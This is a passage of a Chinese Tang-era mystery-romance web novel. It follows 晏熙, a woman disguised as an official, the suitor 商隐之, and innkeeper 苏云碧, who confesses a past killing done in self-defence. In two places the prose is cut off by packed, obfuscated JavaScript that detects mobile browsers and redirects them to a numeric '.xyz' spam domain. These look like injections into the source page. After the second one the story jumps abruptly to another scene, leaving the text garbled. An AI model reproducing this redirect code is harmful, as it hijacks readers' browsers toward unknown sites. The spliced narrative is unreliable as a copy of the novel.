杨远靠在母亲肩膀上撒娇,“母亲,那件事情已经过去很久了,我早就不做他想了。我之所以要去参加,其实就是想让你们知道,我已经没事了。真的,不信,我证明给你们看。” 母亲拗不过杨远,最终还是答应了他。 中秋宴上,杨远趁家人朋友不注意,偷偷跟上了李素织。明武明礼发现后拦住了他,接着就要把他扔出去。 “就你,也想娶我们家小姐,也不看看你配不配。”“就是,一个小小晋桑县的世家,别说你了,就是你父亲你爷爷都配不上我家小姐。”“还真拿自己当回事,以为自己是谁呢。”“我家老爷没有把你从宴会上赶出去,已经很给你面子了,你要再闹,我们就把你扒光了扔出去。” 杨远愤怒到了极点,上去就和明武明礼厮打在了一起。 是李素织制止了这场纷争。“你们都先下去吧,我有话和他说。” 明武明礼不愿意离开,“小姐,老爷说了,让我们时刻保护好你的安危,绝对不能让什么阿猫阿狗都有机会靠近你。” 杨远双目赤红,“你们说谁呢?” 明武明礼嗤笑一声,“你说这里还有谁是阿猫阿狗啊?” 眼看三人又要打在一起,李素织及时叫了停。“我就和他说几句话,说完,他自己会走的。” 李素织将杨远送给她的面具还了回去。“当日是你见义勇为,我不过顺手帮了点忙,这面具,还当属于杨公子才是。” 杨远准备说点什么,李素织阻止了他。“杨公子,你什么都不必说了,我的外祖父乃朝中侍御史,他早已为我物色好未来夫婿的人选,你与我之间,只是朋友罢了。” “你我同样出身于大家族之中,所以你应当懂得,我既身为李家人,便要为自己的家族考虑,做出最符合家族利益的选择,所以,你若还有其他念想,我们便不要再见了。” 杨远深深地看向李素织,“我只问你一句,这到底是你家族的决定,还是你的决定?” 李素织轻声开口,“既是我家族的决定,也是我本人的决定。” 杨远点了点头,拿起面具,转身离开。身后转来明武明礼的嘲笑声,“你看吧,还不是灰溜溜地走了。”“哈哈哈哈,人呐,要有自知之明。” 杨远停下脚步,转过身去看向明武明礼。明武明礼起身上前,将杨远围困在二人之间,“小子,若是再敢打我们家小姐的主意,我们便打断你的腿,然后喂狗吃。” 杨远苦笑一声,“我知道她有苦衷,所以从那之后,我便只在夜里偷偷去看看她。前不久,我听到她和秋琴说要来这云岫山,我实在是太久没和她说过话,太想当面看看她,所以便提前来了此处等候。” 18. 椒花颂声 青山一道同云雨,明月何曾是两乡。① 苏云碧主动找到了晏熙和商隐之。 一向爽朗大方的她几次欲言又止,晏熙和商隐之什么也没说,只是抿着茶静静地等待着。 “晏公子、商公子,我……”苏云碧鼓足勇气开口,却又戛然而止。 晏熙将茶杯放下,看向苏云碧,“契苾月姑娘其实是你的亲妹妹,是吗?” 苏云碧震惊了一瞬,随后释然一笑,“晏公子好眼力,你是什么时候知道的?” 晏熙看向苏云碧的双眸,“契苾月姑娘的眉骨虽然高耸入云,可你们的眼睛却颇为相似,无论是形状还是瞳色,都几乎一模一样。” “先前我曾问你来自何处,你说汝州,这汝州,恰与洛阳相邻,想必习俗相近,也不怕人询问。阿信曾被明武明礼推倒在地,他用来涂抹伤口的膏药,是你给他的,那膏药的瓶底刻着钟歧堂,正是洛阳最有名的医院。” “李县令等人来云娘店那天,你主动请缨替月姑娘跳舞,平日里对她也是格外照顾,远超出了掌柜对普通住客的关心,而且,每直年关,月姑娘都要来这里和你一起过年,即便不是亲姐妹,你们也已经情同姐妹了。” “原来,我们早就露出了破绽。”苏云碧喟叹一声。 “师先生的儿子救的那对姐妹,便是你和月姑娘吧。”晏熙抬眼紧盯着苏云碧的眼睛,“其实,你们之所以从一开便想将明武明礼之死推到山魅的头上,是害怕再继续追查的话,你们三个人的身份要瞒不住了。” 苏云碧的眼眶泛出了泪光,“当年之事,皆因我一人而起。今日云娘店众人扯谎欺瞒,也都只是为了可以保全我,两位大人既已猜到,我便将一切全盘托出,只希望二位可以宽宥其他人。” 师玄温原名叫裴书章,苏云碧原名贺兰云,契苾月原名贺兰月。 苏云碧和契苾月两姐妹的父亲原本是来洛阳经商的珠宝贩子,后来结识了她们的母亲,便从此定居在了洛阳。 两姐妹从小便是姐姐长得像母亲,妹妹长得像父亲,小时候曾有人故意挑事,说这两姐妹长得不像,看起来不是亲生,不如他把妹妹抱走,让父母再生一个和苏云碧长得像的妹妹。 契苾月委屈地躲在苏云碧身后哭,苏云碧提起一旁的扫帚将那人扫了出去。“你们谁再敢乱说话,欺负我妹妹,我就把你们都赶出去!” 契苾月问苏云碧,“姐姐,为什么我们长得不像,我们真的不是亲姐妹吗?”苏云碧轻轻托住妹妹的小脸,“我们的父亲母亲长得也不像啊,不管你和我长成什么样,你都是我的妹妹,我永远都会保护你。” 苏云碧十五岁那年,她和契苾月的父母在做生意的时候,被当地的恶霸范戎城给盯上了。 这范戎城年近三十却整日游手好闲,平日里欺男霸女,无恶不作,当地人都苦他久矣,可偏偏他家中势力强大,无人能奈他何。 一开始他带着几个彪形大汉来到苏云碧和契苾月父母的店铺之中,只买东西却不付钱。苏云碧的父母拿他没有办法,便只能勉强陪笑。 后来他开始索要钱财,如果不给他便坐在店中,让他身边的那几个大汉堵在门口,导致苏云碧的父母店铺无法正常运营。 这些苏云碧的父母都忍了,直到某一天,他看见了苏云碧和契苾月。 苏云碧和契苾月的父母当场翻脸,他们用身体拦住范戎城等人,让苏云碧和契苾月快跑。 姐妹二人一路狂奔,在路上遇到了砍柴归来的裴青茂,也就是当时的裴书章,现在的师玄温的儿子。 裴青茂看见了追在苏云碧和契苾月身后的范戎城,无需询问便已知晓发生了何事。 裴青茂让苏云碧和契苾月先躲起来,自己却迎着范戎城而上。 “滚开,别在这里挡老子的道。”范戎城不耐烦地推了一把裴青茂,却没能推动。 裴青茂长得一副文人模样,从小便跟着父亲学习算术,没想到他力气居然这么大。范戎城意外地看了一眼裴青茂,“什么意思,不让是吗?” 裴青茂看向范戎城,“光天化日,你追着两个小姑娘不放,有点不太合适吧?” 范戎城嗤笑一声,“笑话,老子我想干什么干什么,想什么时候干就什么时候干,轮得到你来说话吗?” 范戎城说着又推了裴青茂一把,结果还是没能推动。这样一向嚣张跋扈惯了的范戎城甚为恼火,他抬手便打了裴青茂一巴掌。两个人登时便打了起来。 看见这一幕的苏云碧让契苾月继续躲着不许动,自己则上前劝架。 范戎城指着裴青茂和苏云碧说,“就凭你们两个,也想和老子作对?告诉你们,今天我就要把你们砍成碎片扔到大街上让狗吃,还有你们的父母也一样!” 范戎城一把掐住苏云碧的脖子,“说,你那个妹妹呢?快把她交出来。” 苏云碧狠狠地看向他,“你休想知道。” 见苏云碧不肯说范戎城手下的力道便更狠了。苏云碧偷偷对着想要冲出来的契苾月摇了摇头,随后便决心赴死。 就在她以为自己的一生要结束的时候,脖子上的那双手却突然松开了。 苏云碧大喘了几口气,眼前才恢复过来,她看到裴青茂砍了范戎城的后背一斧头。 疼痛让范戎城瞬间爆发,他冲向裴青茂,抢过他手中的斧头开始对着裴青茂一顿乱砍。 没几下裴青茂便跪倒在地,身上的衣服也浸出了鲜血。苏云碧抓起地上的泥土便洒在了范戎城后背的伤口处,疼痛让他暂缓了行动,裴青茂也趁机再次握住了斧头。 苏云碧对着范戎城的伤口开始猛烈地攻击。用尽最后的力气,裴青茂把斧头从范戎城手中抢走,扔向了远处。 随后裴青茂向来直挺地脊背直直地倒了下去。范戎城忍着疼痛从地上爬起,随后扑向了苏云碧。 苏云碧坐在地上慢慢向着斧头所在的方向移动,同时不停地向范戎城的眼睛和伤口扔着泥土。 就在苏云碧快要够到斧头的时候,范戎城一把按住苏云碧,开始狠狠地捶打。苏云碧用力地抵抗着,突然范戎城倒了下去。 苏云碧看到他的头上插着一把斧头,他的身后站着双目通红的契苾月。 苏云碧将颤抖哭泣的契苾月拥入怀中,安抚她让她冷静下来。 “你听我说,现在不是害怕和哭泣的时候,我们的爹娘是拦不住范戎城的那些手下的。他们很快便会找过来了,我们得赶紧把范戎城的尸体和青茂大哥的尸体藏起来,然后回家叫上父母和裴先生一起离开洛阳。” 契苾月用染着鲜血的手抹了一把自己脸上的泪,然后对着苏云碧点了点头。 两个人把范戎城的尸体扔到了山下,然后把裴青茂的尸体拖到一旁的山洞中,匆匆拿草先遮盖了起来,想着之后再回来掩埋。 两个人跑回家中,地上一片鲜血,她们的父亲和母亲就躺在血泊之中。 两个人跪扑了上去,发现父母皆已离开。顾不得伤心,苏云碧和契苾月简单收拾了几件衣服和家中所有的钱财,便离开了。 关门时,苏云碧和契苾月最后深深地看了一眼她们的父母。 两个人找到师玄温,让他和她们一起逃。苏云碧和契苾月身上沾染着的泥土和血污还没有处理干净,苏云碧满含泪水地向师玄温道歉,“裴先生,对不起,青茂大哥是为了救我和妹妹,才平白送了自己的姓名,日后你想怎么责怪我姐妹二人都可以,但现在,就请您跟我们一起逃吧,那范家人一定不会轻易放过您的。” 听完苏云碧的话,师玄温一下子坐倒在旁边的椅子上,“你说什么,我儿子,我儿子他……” 契苾月也痛哭流涕,“裴先生,对不起,对不起,都是我们的错,连累了青茂大哥。” 师玄温在原地怔愣片刻,然后倏然起身。起身后他眼前一黑,苏云碧和契苾月连忙扶住了他。 师玄温看向苏云碧和契苾月,“我儿子,他真的和范建城一起死了?” 苏云碧和契苾月点了点头,师玄温突然大笑两声,“好样的,好样的,能带走一个坏人,他比他老子可强多了。” 师玄温看向苏云碧和契苾月,“这不是你们的错,你们说的对,我们现在需要赶紧离开,我去收拾东西,你们两个赶紧洗把脸换身衣服,不然现在这个样子,是走不远的。” 三人收拾妥当,苏云碧便和契苾月带着师玄温离开,师玄温发现她们似乎并不打算今天就离开洛阳,便问她们作何打算。 苏云碧告诉师玄温,“我们打算等到夜间,把青茂大哥和父亲母亲的尸体埋葬了再离开。” 师玄温摇了摇头,“傻孩子们,真等到那时候,我们就走不了了。” 契苾月瞬间哭了出了,“可是,青茂大哥的尸体就在那山上扔着,我阿爹阿娘的尸体,还在家中躺着。” 苏云碧抱住契苾月,让妹妹倚靠在自己那并不宽厚的肩膀上哭泣。苏云碧深深吸了一口气,“师先生说得对,咱们还是继续赶路,尽快离开洛阳吧。” 从洛阳离开后,苏云碧和契苾月带着师玄温一路风餐露宿,他们改名换姓,连续走了几个月,才停下脚步。 苏云碧暂时租借了一间宅子,“走了这么多日子,他们暂时应该追不上我们,我们便在此安顿一段时日,考虑一下之后的事情吧。” 最终三人决定,先由契苾月留在这里照看师玄温,苏云碧则出去寻一处合适的地方开一家旅店,以维持三人后续的生活,等旅店开好后她再把契苾月和师玄温接过去。 苏云碧找到了云岫山。这里位于晋桑县的边缘,既隶属于上县消息灵通,又居于深山远离人烟,且山中地形复杂多变,万一东窗事发,也便于他们逃走和躲藏。 然而苏云碧去接契苾月和师玄温的时候,契苾月却说自己不去了。“我们三人在一起,目标太大,容易被发现。姐姐你还是带师先生一起去吧,这样你们两个,更容易隐藏。” 苏云碧不解,“我找的那个地方很清净的,平日里人不会很多,且我们三人都换了姓名,不会被人发现的。” 契苾月摇了摇头,“我们的姓名变了,可曾经发生的一切不会改变。而且,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516314|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下手的人是我,我实在是不能安心待在你们身边。姐姐,你想想师先生,他年纪已经大了,要是再被发现,我们俩可以跑,他还能跑得动吗?就让他安稳地和你一起度过余生吧。” 苏云碧哭了出来,“那你一个人,你要怎么办啊?” 契苾月笑笑,“我已经想好了,我一个人去哪里都可以。大唐的疆域这么大,我正好四处看看。” 契苾月握紧苏云碧的双手,“你放心,每年年底我都会去看看你和师先生的,或许将来有一天,等这件事真的过去了,我便可以留在你的身边了。在那一天到来之前,只能辛苦你一个人照顾师先生了。” 姐妹二人就此分离,每年只在年末相见,即使相见,也只作陌生人。 苏云碧拭去自己鬓角的泪痕,“至于阿信、顺平、丁大厨还有张大哥,他们其实并不知道究竟发生过什么,只不过是看我如此执意要一切归于山魅头上,许是猜到背后或许另有缘故,才尽自己之力来帮我混淆视听,还请两位公子不要责怪他们。” 晏熙追问道,“所以,月姑娘所说的校书郎案和张大虎所讲的山间怪谈,全部都是假的吗?” 苏云碧摇了摇头,“那倒不是,校书郎一案却有其事,也确实有山魅作祟的传言,但我和妹妹都不相信。说实话,明武出事之时,我还以为是当年杀害校书郎一家那个凶手又出现了。” 晏熙看向苏云碧,“云娘,这些年,辛苦你了。” 苏云碧意外又惊喜地看着晏熙,原本已经收回去的泪水决堤一般涌了出来。“晏公子,谢谢你。” 一旁的商隐之缓缓开口,“云娘,那你可知,那件事后来究竟如何了?” 苏云碧深吸一口气,“阿月在外独自闯荡时曾打听过。听说我们离开的当夜,范家人就找上了门,一把火将我爹娘的尸骨全部烧了。范家人知我和妹妹还有师先生出逃,便派了人到处搜查,前几年风声比较紧,这两年好像范家老爷子去世,那范戎城的弟弟成了掌事人,找我们的人便少了很多。不过因为我们的父亲是胡人,所以他们派出去的人大多都去了西域。” 商隐之接着问道,“那云娘,你可曾想过主动报官?” 云娘震惊地看向商隐之,“报官?那范家人在当地势力庞大,官官相护,没有人会管我们的。而且我们确实杀了范戎城,杀人偿命,罪责难逃。” 商隐之皱了皱眉,“可是,你们是在范戎城先杀了你们的父母以及裴青茂的情况下为了自保才动手的,这属于正当防卫。再者,范戎城在当地恶行累累早已家喻户晓,一定会有人愿意出来为你们作证的。” 苏云碧笑了笑,“可这些话,我们又该说与谁人听呢?” 商隐之顿了顿,然后指了指一旁的晏熙,“有晏大人在此,他可是有权直接向当今圣上直接汇报的人。” 苏云碧看了看晏熙,“这点小事,何至于惊动圣上。且晏公子公事繁忙,你们今日愿意听完我的故事,我已万分感激。” 晏熙看了一眼商隐之,“其实,云娘你也可以告诉商公子啊,他哥哥可是在大理寺任职,专门负责这些冤假错案的,我相信商公子一定愿意为你和月姑娘还有师先生声张正义。” 商隐之和晏熙对视片刻,“可以,云娘,你完了把你的这些情况都写下来,之后我会再去洛阳进行一番调查取证,如果你所言非虚的话,也许很快你和月姑娘便可以正大光明的相见了。” 晏熙起身和商隐之一同送苏云碧出门,走到门口时,苏云碧欲言又止,晏熙问她“云娘,怎么了,是还有话想说吗?” 苏云碧看了一眼商隐之,“商公子,我可以单独和晏公子说几句话吗?” 商隐之愣了一下,然后点点头,“好啊,没问题,我这就离开。” 晏熙将门关上,“云娘你放心,这件事情你交给商公子一定没问题。” 苏云碧摇摇头,“晏公子,我找你不是想说这件事。” 晏熙疑惑地看向苏云碧,“那是?” 苏云碧抬手捋了捋晏熙的鬓角,“晏公子,男人的鬓角要比女子生硬许多。而且,你太香了。” 晏熙惊恐地看向苏云碧,“你……” 苏云碧笑了笑,“晏公子你放心,我不会乱说的。其实我第一眼看到你的时候就知道了。” “你虽然身材高挑,脸上棱骨锋利,看起来雌雄莫辨,少年英气,且声音步伐等也应该经过多年的训练,只是,你眼神中的悲悯,是只有女孩子才会有的。且我和妹妹当年逃亡之时,也曾女扮男装,所以不难分辨。” “我想,你也一定是由不得已的苦衷,才会如此吧。你若要装作男子,便要做到万无一失。” “商公子应当还不知道吧?所以刚才他提议让我把我的事情交给你,我才委婉拒绝,因为我知道你不是圣上派下来的那个黜陟使。” 晏熙向苏云碧行礼,“多谢云娘关照。” 临走前,苏云碧最后提醒了晏熙一句,“晏公子,恕我直言,你和商公子,走得有点太近了。人一旦和别人接触的多了,想藏的秘密便藏不住了。” 19. 月上西楼 晓看天色暮看云,行也思君,坐也思君。① 这场雪已经连续下了四天了,周遭万籁俱寂,只见风雪。 商隐之又是在屋顶找到的晏熙。 和上次一样,她独自背影落寞的坐在屋檐上。她的肩上已经落了一层雪,看起来坐了已经有一会儿了。 商隐之将手中的披风披在她的肩上,然后撑起伞靠坐在她的身旁,“怎么了,晏大人,你不开心啊。” 晏熙缓缓回头看向商隐之,“你很关心我开不开心?” 商隐之毫不犹豫地回答,“那当然了。” 晏熙的目光静止在商隐之的脸上。 “我是说,”商隐之找补了一句,“我们所有人的安危可都系在你身上呢。所以晏大人,只有你开心,我们能放心啊。” 晏熙收回了目光。 商隐之想了想,“那我给你讲个故事吧。小时候我和我大哥还有喜松每天都要一起去学堂。每每到了冬日,我便心生困倦,不想早起,于是便撒泼打滚、装病耍赖,使出浑身解数想尽办法逃学,却无一例外被我老娘拆穿。” “而我哥却和我不同,虽然我们是同一个爹娘生的,但他从小便自律克己,每天天不亮便起床梳洗,以最好的精神面貌去拜见先生,数年如一日,我从未见他抱怨过一句。每每我老娘打我的时候,我老爹便会在一旁煽风点火,还会给我娘递上趁手的工具,家里的下人们见怪不怪,唯有大哥会替我求情。” “可是我娘呢,看看一旁规矩懂事,文质有礼,早已穿戴整齐的我大哥,再看看一头鸡窝,坑蒙耍滑,日上三更还抱着被子不肯撒手的我,便更生气了。” 商隐之叹了一口气,“不管我多不情愿,到了最后,我还是得去学堂。走进学堂先生一看便知是我连累了大哥和喜松迟到,于是便会罚我去抄书。” “那时候先生给我们立了一个规矩,只要他的戒尺一日立在讲坛之上,我们便得一日按时上学。某天下学的时候,我在回家的路上又抱怨起不想上学,于是我大哥便劝告我,‘先生不是说了吗,只要戒尺在一日,我们便一日不得休学。你看你每天早晨折腾那么大一番有什么用呢?我劝你以后不如少折腾点,收了想逃学的心思乖乖读书吧。’” “我一听我哥说的这番话,脑袋一转便立刻有了主意。戒尺在便得上学,那戒尺不在不就不用去学堂了吗?于是我半夜叫醒喜松,和他一起去偷了先生的戒尺,连同他的毛笔砚台那些琐碎东西一起扔进了湖里。” “第二日我老娘又来叫我起床的时候,我在床上翘着二郎腿,正大光明的告诉她说今日不用去学堂。我老娘自然不信,可我的态度又过于坦荡,我老娘不免产生了怀疑。” “恰在那时,每天最早去学堂的那几个学生跑过来传话,说他们发现先生的戒尺今日收了起来,连同笔墨纸砚一起,看样子今天不用去学堂了。我娘这才相信。” “就在我欢天喜地美美窝在被窝里睡回笼觉的时候,我娘突然冲进我的房间,拎着我的耳朵就把我从床上拎了下去。我娘后面还跟着我那拿着鸡毛掸子,嘴里喊着‘夫人你别急,夫人你交给我来打吧,你别累到你自己了。’的爹,以及吹胡子瞪眼的教书先生。” 商隐之情不自禁地笑出了声,“你能想象到那个画面吗?我在房间里到处上蹿下跳,我娘和我爹追着我打,教书先生站在房中假模假样地劝架,于是我故意往他身边躲,连带的他也被我爹娘不小心打到好几下。哈哈哈,整个过程鸡飞狗跳的,到现在想起来我都觉得好笑。最后我爹让我去湖里把东西都捡回来,又是我那一大早起床发现不用去学堂便自行温书的大哥帮我求了情。” “直到后来,有一次大哥醉酒我才知道,原来他也不喜欢冬天那么早起床去读书,只不过他一向喜欢以完美的面目示人,不想被人发现他也有不足之处,于是便暗戳戳撺掇我去偷藏先生戒尺,果不其然我就上了他的套。虽然偷扔先生戒尺一事很快就会被戳穿,但一闹起来,那一天是肯定不用去学堂了。” “于是啊,他便用我挨的一顿打,换了他自己一天的假。” “不过,他还算是有良心,后来帮我和喜松把东西赔给了先生,之后那段时间对我也特别温柔。别看我哥长得一脸正气,其实心可黑了,从小到大这样坑我的次数可多了,他只要一对我温柔,我就得赶紧想想他是不是又在哪里坑我了。” 故事讲完,商隐之晃了晃腿,触碰到晏熙的膝盖,“晏公子,这个故事不有趣吗?” 晏熙摇了摇头,“不,挺有趣的。” 商隐之不太相信,他拉过晏熙已经冻僵的手握在手心里暖着,“那你怎么不笑啊,该不会是表情被冻僵了吧?不然我再给你讲一个,就讲我小时候被我哥忽悠到树上摘果子,结果摘完果子后下不去被困在上面写遗书的故事吧。” 晏熙看着自己和商隐之交叠在一起的手,“你为什么一定要让我笑呢?” 商隐之握着晏熙的手紧了紧,“因为我不希望你不开心。” 晏熙看向商隐之的眼睛,“可是让我开心这件事,并不是你的职责。” 商隐之也认真地看向晏熙,他的眼睛里有什么东西呼之欲出,“谁说不是,就是。只要我在你身旁,我就一定要让你开心。” 晏熙收回了目光,她害怕和商隐之对视,更害怕自己读懂了他眼神中的那些东西。“为什么?” “因为,”商隐之深深地注视着晏熙,他深吸了一口气,然后缓缓吐出,“如君样、人间少。②” 晏熙不易察觉地颤了颤,她收回自己的手,“商公子,你别开玩笑了,你这样,别人会误会你有龙阳之好的。” 商隐之的手下意识去追逐晏熙的手,却落了空,“如果我说,我或许真的有了呢?” “从前我只觉得世间万般女子,或温婉、或爽朗、或敏感、或坚定、或随性、或固执,如百花盛开,样样皆美好。可是现在,我却发了疯一样嫉妒她们的美好。因为她们可以赠你花香,予你喜乐,从心所欲,我却只能站在你的身后阴暗地窥探着你的一举一动,克制压抑着自己那无由来的情绪。” “晏公子,世间万途,我只想同你一道。” 风雪拂过晏熙那只刚刚被商隐之暖热的手,她动了动手指,只触碰到冰冷。 她起身而立,居高临下地看向商隐之,轻轻吐出一句“可我没有。”龙阳之好。 商隐之醒来的时候,喜松正一个人趴在他的窗边玩掷钱。察觉到商隐之的动静,喜松将铜板收了起来,“公子,你醒来了,感觉好点了吗?” 商隐之觉得头有点痛,他揉了揉额头,“现在什么时辰了,你怎么在这,我头好痛,你是不是打我了?” 喜松给商隐之倒了杯水,“倒是想打来着,最后没下得去手。” 商隐之接过喜松递过来的水一饮而尽,试探地问道,“我昨天晚上干什么了?” 喜松看着商隐之,“公子,你全都不记得了?” 商隐之看着喜松缓缓摇了摇头,不确定地询问道,“我昨晚没干什么丢人的事情吧?” 喜松想了想,“也还好吧,就是如果被大公子知道的话,他一定会打断你的腿。” 商隐之整个人一抖,“我都做了些什么?” 喜松有点犹豫,“我还是不说了吧,我怕你知道后想不开。” 商隐之扑上前去双手抓住喜松的肩膀摇晃,“不行,你必须要告诉我,不然我就从这里跳下去。” 喜松一脸反胃的表情,“公子,你别摇了,我要被你摇晕过去了。你想跳就跳吧,反正这里不过是二楼而已,跳下去也出不了事,别砸到云娘养的小鸡就行。你现在跳楼比起昨天晚上的事来说已经算不得什么了。” 商隐之停下摇晃喜松的动作,一脸震惊,“跳楼都已经不算什么了吗?”他呈“大”字平躺在床上,“我看我还是死了算了吧,从今天开始我不吃饭也不出这间房门了,喜松,告诉云娘,之后不用给我准备饭食了。” 喜松试图将商隐之拽起来,但是商隐之摊成了一片,怎么都拽都没用,“公子,其实也没有那么丢人了。” 商隐之猛地坐起来,“那你告诉我,我到底做什么了,不然我就不吃饭了。” 喜松一脸为难,“好吧好吧,不过公子,这可是你让我说的。” “你昨天晚上哭着闹着说自己想做女子,还逮到人或者东西就问有没有办法可以让你变成女子,连花甲之年的师先生、后院养的鸡鸭还有房间里的柱子你都没放过。” 商隐之又倒了下去,“我还是饿死算了吧。你为什么要告诉我啊,你为什么不瞒着我啊?” 喜松一脸无奈,“我不说,你也要饿死你自己啊。” “我不知道的时候,我还可以无所畏惧的走出这间房门,现在我知道了,我还怎么出去。”商隐之一脸崩溃,“对了,我有没有说我为什想变成女子。” 喜松摇了摇头,“那谁知道啊,你只一味的说女子这般好,那般好,说自己要是女子就好了,月姐姐还问我你是不是有什么怪癖,如果真心想的话,她可以借你她的衣服穿穿。” “那,”商隐之犹豫了一会,“晏公子和福砚知道吗?” “昨天晚上我倒是没有见到他们。”商隐之刚松了口气,喜松紧接着说道,“不过,您那动静,连三楼风字房的人都听见了,还出来看了好几次,他们不可能不知道吧。” 商隐之眼前一黑,“去,把我房间的门封了,我不出去,也不许别人进来。” 喜松爬至商隐之身边,“公子,所以你到底为什么突然想要做女子啊?” 商隐之闭上眼睛,“你也出去。” 及至傍晚,楼下传来阵阵香味,闻味道,丁大厨今晚应该煮了鸡肉。 商隐之的肚子不争气的开始乱叫。他拍了拍自己的腹部的肌肉,试图让那叫声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见众人目光转移,商隐之狠狠给了杨远一锤,然后压低声音,“你小子从失恋的阴影走出来了是吧?信不信我把你打回阴影里面去!” 两个人伸出四只手在桌面上打了起来,喜松忍了一会儿,终于忍不住开口,“二位公子别扇风了,对方一下没打到,这桌上的菜都被你们给扇凉了。” 商隐之和杨远各哼一声,然后收起了手。 苏云碧和契苾月突然起身走到隔壁坐在了晏熙身旁,杨远“咦”了一声,“商公子,你今天怎么没和晏公子坐一桌,你俩平时不都粘在一起,好得跟一个人似的吗?” 商隐之夹起一块肉塞进杨远嘴里,“这么多菜还堵不上你的嘴,你是不是对丁大厨有意见啊,我去告诉他了。” 杨远嘴里塞着东西,叽里咕噜说了点什么商隐之权当没听见。 隔壁桌上的三人倒是详谈甚欢,契苾月不停地朝着晏熙的方向移动,笑得开怀的时候还靠在了晏熙的肩头。 商隐之将目光移开,仰天长叹一声,“阿信,给我拿壶酒来。” 一旁的师玄温先一步伸出了手,“可不敢啊。我老头子年纪大了,昨夜那种事可不敢再来一遍啊。” 商隐之看向喜松,喜松低语道,“昨晚大家都被你弄怕了,于是便都跑了,师先生跑得最慢,被你缠了大半宿。” 商隐之掩面欲泣,“抱歉了师先生,那个,酒就不用来了。放心吧,我不会再骚扰你们了。” 杨远偷偷靠近商隐之,“隐之兄,我房间里藏着几瓶酒,你想是想喝,可以来我房里啊,不过,你得告诉我你为什么想变成女子。” 商隐之看了一眼杨远,“因为女子话少,不会问我为什么想变成女子。” 晚饭过后,晏熙和福砚回房,看见商隐之正在门口等她。福砚见状,向商隐之行了个礼便先行离开。 晏熙推开门,商隐之跟了进去。 “商公子,我以为昨夜,我们已经将话说清楚了。” 商隐之直直地看想晏熙,“你生病了?” 吃饭时周遭嘈杂混乱,他却偏偏听见了苏云碧对晏熙说的那句“我一会儿把药给你送过去,你记得按时喝。” 晏熙没有作声。 “我没有别的意思,就是来给你送药,送完我就走。”商隐之从衣袖里取出一个小瓷瓶放在晏熙的桌上。 “这药是我大哥给我的,宫里赏的,治疗风寒很有效果,你试试吧。昨天是我唐突了,晏公子你别往心里去,这种事情,你不愿意,我不会逼你的。你我之间,于我而言还是朋友,我会掌握好分寸的。”商隐之说完转身边走。 就在他扶上门的那一刻,晏熙缓缓开口“喝酒伤身,商公子以后还是少喝点吧。” “知道了。”商隐之关门离开,唇角是掩不住的笑意。 20. 画皮 人中有兽心,几人能真识。① 感染风寒后晏熙嗓子不适,云娘便特意交代丁大厨做点清淡软和的东西,方便晏熙下咽。福砚去帮晏熙端早饭,却在后厨看见了商隐之。 约莫半个时辰前商隐之就来了。他向丁大厨讨要了一点食材,在一口小炖盅底部放入少许肉末和山药泥搅拌均匀,随后打入两个鸡蛋,然后上锅蒸煮,待鸡蛋凝固后又开盖放入少许菌菇继续蒸煮。 看见福砚进来,商隐之热情地和福砚打招呼,“你是来给你家公子端早饭的吧?稍等等,马上就好了。” 福砚睁大了眼睛,“商公子,你是在给我家公子做饭吗?” 商隐之坦然笑笑,“以前每逢家中有人生病,其他人便会煮这蒸蛋给他吃,吃完病就好了,就是现在东西不太齐全。对了,你家公子现在怎么样了?吃药了吗?” “是这样啊。”福砚看着商隐之将盅拿出,放入少量佐料,“我家公子已经吃过药了,他没什么事了,就是嗓子还不太舒服。” 商隐之将那一口小盅放入托盘递给福砚,“我知道了,快拿去给你家公子吧。对了,不要告诉他这是我做的。” 福砚接过托盘,疑惑地看向商隐之,“为什么呀,商公子?” 商隐之凶巴巴地看着福砚,“小孩子不许问大人的事情。好好照顾你家公子。” 福砚后退一步,点了点头便跑开了。 晏熙让福砚找来了秋琴。 商隐之不在,于是福砚又做回了小书童,一脸严肃认真地拿着笔在一旁进行记录。 晏熙嗓音嘶哑地让秋琴坐下,“你别紧张,之所以叫你来,是上次有一些问题忘了问你了,所以想让你补充一下。” 一路上惴惴不安的秋琴定了定神,“晏公子,你还想问些什么呀?” “我是想问问你,上次你说你听到有人似乎对明武明礼不满,你还记得吗?” 秋琴点了点头,“记得记得,那件事我记得,就是那时候刚来这云娘店,和大家都不熟悉,所以确实判断不出那个人是谁。” 晏熙盯住秋琴的眼睛,“那这么多天过去了,你和大家也应该都认识了,你有认出那个声音是谁的了吗?” “这个……”秋琴看起来有点犹豫,随后她摇了摇头,“晏公子,说实话其实这么多天过去了,那件事我倒是一直记得,就是那个声音吧,确实已经模糊了,我真的不知道那个人是谁。” 秋琴的双手一直紧紧地搅在一起,她的表情不安又紧张,眼睛始终不敢直视晏熙,这一切都在说明,她其实是在说谎。 晏熙轻轻从她的脸上扫过,“那个人,你其实认识吧。” 秋琴猛地抬起了头,怔愣了片刻之后,她开始疯狂摇头,语气充满了恳求,“不不不,我不认识的,我真的不知道是谁,晏公子求求您别再问我了,我真的不知道。” 晏熙看着她,“你害怕那个人?” 秋琴看起来更加恐惧了,她强撑着自己,“没有,我都不知道那个人是谁,怎么会害怕他。” 晏熙拿起一只桌上的茶杯转了转,“你是害怕他会对你下手,还是他的存在本身就让你害怕?” 秋琴几乎想逃出这个房间,“晏公子,我家小姐还有事找我,我不知道那个人是谁,您要是没有其他问题的话,我就先回去了。” 晏熙将茶杯重重地砸在桌上,“你不肯说,就不怕他下一个要动手的人是你吗?” 秋琴脱口而出,“怎么会?我又没有说出来,也没有招惹他。” 晏熙睨了她一眼,“这么说,你确实是知道他是谁的。”晏熙逼近一步,“是你家老爷,还是王大善人,或者,是你家小姐?” 